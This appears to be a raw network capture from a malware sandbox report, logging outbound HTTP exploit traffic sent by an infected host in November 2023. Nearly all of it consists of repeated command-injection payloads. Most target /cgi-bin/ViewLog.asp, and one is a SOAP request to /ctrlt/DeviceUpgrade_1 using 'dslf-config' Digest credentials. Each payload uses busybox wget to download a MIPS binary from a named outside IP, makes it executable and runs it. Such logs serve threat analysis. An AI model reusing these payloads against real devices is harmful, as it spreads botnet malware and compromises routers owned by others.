                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                844192.168.2.156001694.121.155.2008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.831088066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                845192.168.2.155886631.136.243.2128080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:00.146900892 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.352018118 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.495853901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                846192.168.2.1558756156.241.92.22637215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:00.171428919 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                847192.168.2.154407494.110.177.1478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:00.219857931 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                848192.168.2.153308094.121.119.368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.529125929 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                849192.168.2.154366685.214.159.338080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.638606071 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.712017059 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.918942928 CET1205INHTTP/1.1 404 Not Found
                                                Server: Apache-Coyote/1.1
                                                Content-Type: text/html;charset=utf-8
                                                Content-Length: 989
                                                Date: Thu, 23 Nov 2023 04:23:12 GMT
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 34 32 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 34 32 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>Apache Tomcat/7.0.42 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.42</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                850192.168.2.153695031.200.34.1798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.644722939 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.872030973 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.312072039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.191903114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.079752922 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                851192.168.2.155705231.136.155.2128080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:01.655905962 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.233489990 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.383995056 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.655980110 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.263804913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
